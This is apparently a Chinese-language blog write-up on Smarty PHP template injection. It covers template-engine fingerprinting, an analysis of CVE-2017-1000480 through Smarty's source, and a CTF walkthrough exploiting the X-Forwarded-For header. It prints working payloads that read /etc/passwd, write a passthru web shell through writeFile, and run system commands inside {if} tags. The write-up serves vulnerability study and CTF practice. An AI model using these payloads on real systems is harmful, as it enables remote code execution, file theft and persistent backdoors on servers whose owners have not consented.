Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。在 3.1.42 和 4.0.2 版本之前,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。如果数学字符串作为用户提供的数据传递给数学函数,则外部用户可以通过制作恶意数学字符串来运行任意 PHP 代码。
学了这么多SSTI对应的模板,我们现在先放一放Smarty,谈一下如何确定模板类型,从而确定我们下一步的攻击姿势:
我们可以用三种方法来进行测试:
,如果没用执行结果,那就进入第二层的
{{77}}`a{*comment*}b
中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层;{{7*7}}
中,如果能够执行,那我们进入第三层。${"z".join("ab")}
,我们就能确定是Mako模板,能够直接执行python命令.<?php require_once('./smarty/libs/' . 'Smarty.class.php'); $smarty = new Smarty(); $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板 }
这个地方对应的就是xff头处存在smarty模板,我们可以利用smarty形式来进行攻击。
$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后,我们就去找 smarty 给我们的方法:
public function getStreamVariable($variable)//variable其实就是文件路径 { $_result = ''; $fp = fopen($variable, 'r+');//从此处开始对文件进行读取 if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } } //可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
smarty/libs/sysplugins/smarty_internal_data.php ——> getStreamVariable() 这个方法可以获取传入变量的流 例如: {self::getStreamVariable("file:///etc/passwd")}
getStreamVariable
静态方法删除。public function writeFile($_filepath, $_contents, Smarty $smarty) //我们可以发现第三个参数$smarty其实就是一个smarty模板类型,要求是拒绝非Smarty类型的输入,这就意味着我们需要获取对Smarty对象的引用,然后我们在smarty中找到了 self::clearConfig(): public function clearConfig($varname = null) { return Smarty_Internal_Extension_Config::clearConfig($this, $varname); }
smarty/libs/sysplugins/smarty_internal_write_file.php ——> Smarty_Internal_Write_File 这个类中有一个writeFile方法
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。
{$smarty.version}
{$smarty.version} #获取smarty的版本号
{php}{/php}
{php}phpinfo();{/php} #执行相应的php代码
Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal}
<script>language="php"></script>,
我们便可以利用这一标签进行任意的 PHP 代码执行。{literal}alert('xss');{/literal}
{if}{/if}
Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||
,or
,&&
,and
,is_array()
等等,如:
{if is_array($array)}{/if}
还可以用来执行命令:
{if phpinfo()}{/if} {if readfile ('/flag')}{/if} {if show_source('/flag')}{/if} {if system('cat /flag')}{/if}
重点就是沙箱逃逸的部分:
这里我们主要介绍三个漏洞,说实在有点难复现,但毕竟sp4师傅是我的大师哥,想成为sp4师傅这样的大佬,那大佬走过的路我们也是要走走的。
环境链接:Releases · smarty-php/smarty (github.com)
在下面再写一个文件,用于利用漏洞,也是漏洞的触发点display, 渲染页面以后输出结果的这个函数:
<?php define('SMARTY_ROOT_DIR', str_replace('\\', '/', __DIR__)); define('SMARTY_COMPILE_DIR', SMARTY_ROOT_DIR.'/tmp/templates_c'); define('SMARTY_CACHE_DIR', SMARTY_ROOT_DIR.'/tmp/cache'); include_once(SMARTY_ROOT_DIR . '/smarty-3.1.31/libs/Smarty.class.php'); class testSmarty extends Smarty_Resource_Custom { protected function fetch($name, &$source, &$mtime) { $template = "CVE-2017-1000480 smarty PHP code injection"; $source = $template; $mtime = time(); } } $smarty = new Smarty(); $smarty->setCacheDir(SMARTY_CACHE_DIR); $smarty->setCompileDir(SMARTY_COMPILE_DIR); $smarty->registerResource('test', new testSmarty); $smarty->display('test:'.$_GET['eval']); ?>
我们来跟进smarty对象的成员方法display, 位置为 smarty-3.1.31\libs\sysplugins\smarty_internal_templatebase.php
public function display($template = null, $cache_id = null, $compile_id = null, $parent = null) { // display template $this->_execute($template, $cache_id, $compile_id, $parent, 1); }
因为我们只给display传入了一个参数,所以我们传给display的参数就是这里的局部变量$template, 然后调用了函数_execute(),跟进一下,由于这段函数非常的长,我们就只关注有关template参数的地方,贴一下师傅的图:
我们可以发现template在这段代码中,直接进入elseif语句,其结果是使用了createTemplate方法,并且将template的值进行了覆盖,然后我们对createTemplate方法进行追综,可以发现template最后被赋值成一个Smarty_Internal_Template的对象,也正如createtemplate的字面意思
然后我们再回到原来的_execute代码处,在template被赋值为一个新的模板以后,我们会进入一个try结构,然后继续去关注里面的temlate参数走向,我们跟进render:
public function render(Smarty_Internal_Template $_template, $no_output_filter = true) { if ($this->isCached($_template)) { if ($_template->smarty->debugging) { if (!isset($_template->smarty->_debug)) { $_template->smarty->_debug = new Smarty_Internal_Debug(); } $_template->smarty->_debug->start_cache($_template); } if (!$this->processed) { $this->process($_template); } $this->getRenderedTemplateCode($_template); if ($_template->smarty->debugging) { $_template->smarty->_debug->end_cache($_template); } return; } else { $_template->smarty->ext->_updateCache->updateCache($this, $_template, $no_output_filter); } }
这里因为我们之前没有进行过模板缓存文件的生成会进入这里的 else,我们继续跟进 smartytemplatecompiled 类中的这个 render:
public function render(Smarty_Internal_Template $_template) { // checks if template exists if (!$_template->source->exists) { $type = $_template->source->isConfig ? 'config' : 'template'; throw new SmartyException("Unable to load {$type} '{$_template->source->type}:{$_template->source->name}'"); } if ($_template->smarty->debugging) { if (!isset($_template->smarty->_debug)) { $_template->smarty->_debug = new Smarty_Internal_Debug(); } $_template->smarty->_debug->start_render($_template); } if (!$this->processed) { $this->process($_template); } }
第105行开始对前面生成的模板进行处理:
# smarty_template_compiled # line about 104 if (!$this->processed) { $this->process($_template); }
可以看到这里的 $this->process($_template);跟进process
public function process(Smarty_Internal_Template $_smarty_tpl) { $source = &$_smarty_tpl->source; $smarty = &$_smarty_tpl->smarty; if ($source->handler->recompiled) { $source->handler->process($_smarty_tpl); } elseif (!$source->handler->uncompiled) { if (!$this->exists || $smarty->force_compile || ($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp()) ) { $this->compileTemplateSource($_smarty_tpl); $compileCheck = $smarty->compile_check; $smarty->compile_check = false; $this->loadCompiledTemplate($_smarty_tpl); $smarty->compile_check = $compileCheck; } else { $_smarty_tpl->mustCompile = true; @include($this->filepath); if ($_smarty_tpl->mustCompile) { $this->compileTemplateSource($_smarty_tpl); $compileCheck = $smarty->compile_check; $smarty->compile_check = false; $this->loadCompiledTemplate($_smarty_tpl); $smarty->compile_check = $compileCheck; } } $_smarty_tpl->_subTemplateRegister(); $this->processed = true; } }
process方法定义在第90行。现在初次访问,也即文件的第97行会对模板文件进行编译,即如简介中所言开始生成编译文件:
if (!$this->exists || $smarty->force_compile || ($smarty->compile_check && $source->getTimeStamp() > $this->getTimeStamp()) ) { $this->compileTemplateSource($_smarty_tpl); $compileCheck = $smarty->compile_check; $smarty->compile_check = false; $this->loadCompiledTemplate($_smarty_tpl); $smarty->compile_check = $compileCheck; } compileTemplateSource方法定义在同文件的第189行,在第203行装载完编译器后(loadCompiler()),调用write方法进行写操作: public function compileTemplateSource(Smarty_Internal_Template $_template) { ... try { // call compiler $_template->loadCompiler();//装载编译器 $this->write($_template, $_template->compiler->compileTemplate($_template)); } ...
跟入compileTemplate方法,定义libs\sysplugins\smarty_internal_templatecompilerbase.php第330行:
public function compileTemplate(Smarty_Internal_Template $template, $nocache = null, Smarty_Internal_TemplateCompilerBase $parent_compiler = null) { // get code frame of compiled template $_compiled_code = $template->smarty->ext->_codeFrame->create($template, $this->compileTemplateSource($template, $nocache, $parent_compiler), $this->postFilter($this->blockOrFunctionCode) . join('', $this->mergedSubTemplatesCode), false, $this); return $_compiled_code; }
create是生成编译文件代码的方法,定义在libs\sysplugins\smarty_internal_runtime_codeframe.php
第28行
//在第45行,在生成output内容时有如下代码: $output .= "/* Smarty version " . Smarty::SMARTY_VERSION . ", created on " . strftime("%Y-%m-%d %H:%M:%S") . "\n from \"" . $_template->source->filepath . "\" */\n\n"; //将 $_template->source->filepath的内容直接拼接到了$output里。这段代码是为了生成编译文件中的注释,$output的头尾有注释符号/*和*/。
现在考虑如何利用,我们需要闭合前面的注释符号,即payload的最前面需要加上*/
。同时还要把后面的*/
给注释掉,可以在payload最后加上//
。中间填上php代码即可。另外需要注意的是,在win平台下,文件名中不允许有*
,而smarty框架的生成的编译文件的名字会含有我们的payload,所以在win下时会直接提示创建文件失败。
在linux平台下即可利用成功。
这就是Smarty下生成的临时文件的内容,其中蓝框的部分就是输出点,可以看到输出点是存在两个地方分别是在注释中以及在数组中。那么现在问题就很简单了,我们如何通过这两个输出点能够闭合其中的注释或者是代码,从而执行我们加入的代码。
然后在process中,能够将我们这个文件自动包含:
private function loadCompiledTemplate(Smarty_Internal_Template $_smarty_tpl) { if (function_exists('opcache_invalidate') && strlen(ini_get("opcache.restrict_api")) < 1) { opcache_invalidate($this->filepath, true); } elseif (function_exists('apc_compile_file')) { apc_compile_file($this->filepath); } if (defined('HHVM_VERSION')) { eval("?>" . file_get_contents($this->filepath));//就是这个位置 } else { include($this->filepath); } }
eval(“?>”.file_get_contents($this->filepath)) 相当于一个远程文件包含,这里调用了 include ,我们之前写入缓存的php文件也就被包含进而执行了。
打开题目界面:
说明这个界面是用smarty进行创建的,所以我们确定攻击方式就为smarty,下一步寻找注入点:
打开整道题都是说明的ip右上角也有ip,用到 x-forwarded-for试一下有没有模板注入,我们用上面的判断模板的方法来实践一下:
这里我们用smarty特有的注释符方式来验证,发现并没有回显comment的值,所以我们可以确定这个位置就是smarty模板注入。
然后我们确定版本:
{$smarty.version} Current IP:3.1.30 //所以这个位置我们不能够使用获取类的静态方法来进行攻击,也不能用php标签来进行攻击。 //又因为php的版本是php7,所以我们不能用literal标签,最后我们使用if来进行攻击
后续会继续更新2021和2022的CVE漏洞,因为自己代码审计水平有限,所以还请师傅们多多指教
参考文章:
https://www.cnblogs.com/bmjoker/p/13508538.html
https://www.anquanke.com/post/id/272393
https://blog.csdn.net/qq_45521281/article/details/107556915
https://www.cnblogs.com/magic-zero/p/8351974.html
https://blog.spoock.com/2018/03/06/Smartyty-RCE-Analysis/